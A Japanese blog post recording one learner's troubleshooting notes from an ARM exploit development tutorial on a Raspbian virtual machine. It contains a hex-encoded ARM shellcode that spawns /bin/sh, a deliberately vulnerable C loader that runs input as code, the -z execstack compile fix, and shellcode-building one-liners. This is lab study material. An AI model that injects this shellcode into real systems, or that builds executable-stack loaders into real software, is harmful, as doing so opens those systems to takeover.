☠️

Learning ARM Exploit Developmentに取り組んでみる【詰まったところまとめ】

2022/12/06に公開

http://www.alicemacs.com/ARM_Exploit/

こちらのLearning ARM Exploit Developmentに取り組むにあたって、詰まった部分などをまとめています。
本当は自分で他のシェルコードを書いてみたかったのですが、そこまでは至りませんでした。

準備

解凍に失敗する

2020-02-13-raspbian-buster-lite.zipを解凍するときに、VM上ではメモリが足りなくて解凍に失敗しました。
解凍後の2020-02-13-raspbian-buster-lite.imgのサイズはおよそ1.8Gありますので、空き容量に注意が必要です。

ログインができない

Raspbian環境は

raspberrypi login: pi
Password: raspberry

でログインできます。

Crafting Shellcode

  • アセンブリはRaspbianの環境上でコンパイルします
\x10\x00\x8f\xe2\x0b\x70\xa0\xe3\x01\x10\x21\xe0\x02\x20\x22\xe0\x07\x20\xc0\xe5\x01\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x41\x00\x00\x00\x00pi

1.3 シェルコードを用いたシェル奪取

shellcode.c
#include <stdio.h>
int main()
{
  char buf[30];
  setbuf(stdout, NULL);
  printf("Give me a shellcode: ");
  fgets(buf, sizeof(buf), stdin);
  (*(void (*)())buf)();
}

挙動とコンパイルオプション

pi@raspberrypi:~$ socat tcp-l:8888,reuseaddr,fork exec:./shellcode

shellcodeを上記のように実行するのですが、コンパイルを間違えるとうまく動きません。

pi@raspberrypi:~$ gcc shellcode.c -o shellcode

でコンパイルしていたところ、

$> ./solve.rb
ls ; [*] shellcode length: 28
[INFO] Switching to interactive mode
[INFO] Got EOF in interactive mode

このように、いつもinteractive modeに移行した後にすぐ、EOFでプログラムが終了してしまいました。

これは正しくは

pi@raspberrypi:~$ gcc -z execstack shellcode.c -o shellcode

のようにフラグをつけてコンパイルする必要がありました。

-z execstack ?

https://stackoverflow.com/questions/29178445/what-is-the-z-option-for-in-this-gcc-compiler-command

gcc に渡している-zのオプションに関しては以下のように記述がありました。

-z keyword
-z is passed directly on to the linker along with the keyword keyword. See the section in the documentation of your linker for permitted values and their meanings.
source: gcc.gnu.org

リンカに渡すためのオプションのようです。

シェルコードをいじってみたけど失敗したので自分にはまだ早かった

  • コンパイル
ARG='mycode' && as $ARG.asm -o $ARG.o && ld $ARG.o -o $ARG.bin && objdump -d $ARG.bin && rm $ARG.o
  • シェルコード作成
objcopy -O binary $ARG.bin $ARG_hex.bin && hexdump -v -e '"\\""x" 1/1 "%02x" ""' $ARG_hex.bin

Thumbモードにせずに実行したら命令セットが長くて\x00を含むコードになってしまった。
もちろん動かなかった。

\x10\x00\x8f\xe2\x0b\x70\xa0\xe3\x01\x10\x21\xe0\x02\x20\x22\xe0\x07\x20\xc0\xe5\x01\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x41
GitHubで編集を提案

Discussion